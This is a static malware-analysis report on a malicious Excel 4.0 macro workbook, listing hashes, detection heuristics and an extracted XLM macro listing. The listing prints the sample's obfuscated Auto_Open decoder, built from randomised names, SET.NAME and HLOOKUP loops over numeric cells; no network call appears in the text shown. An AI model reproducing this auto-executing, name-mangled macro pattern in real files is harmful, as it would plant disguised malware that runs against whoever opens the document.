Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3dd336a9d8ffe8ef…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:21 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 6bf59d5ecb75a7600190dd556588886d SHA-1: 53d64cf882254b9e340585ec3b1e589ba308f363 SHA-256: 3dd336a9d8ffe8ef7c1104c13320738e2adfc44ae4712ee654273458cf234f2a
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6718 bytes
SHA-256: 2ebc2e8000bd61f2d5fcaf9ccef003f9adabd509e346edc950a29c404520b107
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'VsXrLyuDRrAy') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yhLJCU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H167 
' 0018     21 LABEL : Cell Value, String Constant - dBHVLX len=0 
' 0018     20 LABEL : Cell Value, String Constant - eIRWz len=0 
' 0018     20 LABEL : Cell Value, String Constant - FCXSc len=0 
' 0018     22 LABEL : Cell Value, String Constant - FnAMypv len=0 
' 0018     21 LABEL : Cell Value, String Constant - fuQJSv len=0 
' 0018     26 LABEL : Cell Value, String Constant - hDduQSaVNwm len=0 
' 0018     24 LABEL : Cell Value, String Constant - hnMebuLtk len=0 
' 0018     21 LABEL : Cell Value, String Constant - JylVom len=0 
' 0018     22 LABEL : Cell Value, String Constant - kPuscSf len=0 
' 0018     24 LABEL : Cell Value, String Constant - lGNBujzDQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - odwhBdAdl len=0 
' 0018     23 LABEL : Cell Value, String Constant - qIttflLX len=0 
' 0018     23 LABEL : Cell Value, String Constant - QJAiuwju len=0 
' 0018     23 LABEL : Cell Value, String Constant - QshlmDiC len=0 
' 0018     27 LABEL : Cell Value, String Constant - QXkhRWQlntNb len=0 
' 0018     23 LABEL : Cell Value, String Constant - uVsCAuqz len=0 
' 0018     27 LABEL : Cell Value, String Constant - VsXrLyuDRrAy len=0 
' 0018     24 LABEL : Cell Value, String Constant - XNwZPpjsP len=0 
' 0018     22 LABEL : Cell Value, String Constant - zJdPOnZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZsogqchSTJq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yhLJCU,S66,"",-735.00000000000000000000
'  yhLJCU,S67,"",-692.00000000000000000000
'  yhLJCU,S68,"",-145.00000000000000000000
'  yhLJCU,S69,"",832.00000000000000000000
'  yhLJCU,S70,"",-868.00000000000000000000
'  yhLJCU,S71,"",-213.00000000000000000000
'  yhLJCU,H78,"SET.NAME("hDduQSaVNwm",0+VALUE("0"))",""
'  yhLJCU,H81,"SET.NAME("odwhBdAdl",hDduQSaVNwm)",""
'  yhLJCU,H85,"SET.NAME("FCXSc",hDduQSaVNwm)",""
'  yhLJCU,H87,"SET.NAME("QJAiuwju",COUNTA(VsXrLyuDRrAy))",""
'  yhLJCU,H91,"SET.NAME("QXkhRWQlntNb",COUNTA(kPuscSf))",""
'  yhLJCU,H94,[],""
'  yhLJCU,H96,"SET.NAME("QshlmDiC","")",""
'  yhLJCU,H101,"odwhBdAdl",""
'  yhLJCU,H103,"SET.NAME("XNwZPpjsP",HLOOKUP("*",VsXrLyuDRrAy,odwhBdAdl,FALSE))",""
'  yhLJCU,H107,"ZsogqchSTJq",""
'  yhLJCU,H111,"SET.NAME("dBHVLX",hDduQSaVNwm)",""
'  yhLJCU,H113,[],""
'  yhLJCU,H117,"dBHVLX",""
'  yhLJCU,H121,"lGNBujzDQ",""
'  yhLJCU,H126,"FnAMypv",""
'  yhLJCU,H131,"JylVom",""
'  yhLJCU,H133,"SET.NAME("hnMebuLtk",VALUE(HLOOKUP("*",kPuscSf,JylVom,FALSE)))",""
'  yhLJCU,H135,"uVsCAuqz",""
'  yhLJCU,H139,"QshlmDiC",""
'  yhLJCU,H143,"FCXSc",""
'  yhLJCU,H147,NEXT(),""
'  yhLJCU,H152,"fuQJSv",""
'  yhLJCU,H155,[],""
'  yhLJCU,H160,"qIttflLX",""
'  yhLJCU,H162,NEXT(),""
'  yhLJCU,H165,RETURN(),""
'  yhLJCU,H189,"SET.NAME("eIRWz",H78)",""
'  yhLJCU,H194,"VsXrLyuDRrAy",""
'  yhLJCU,H198,"SET.NAME("kPuscSf",R75C13)",""
'  yhLJCU,H201,"SET.NAME("qIttflLX",211)",""
'  yhLJCU,H206,"SET.NAME("zJdPOnZ",8)",""
'  yhLJCU,H210,eIRWz(),""
'  yhLJCU,H211,HALT(),""

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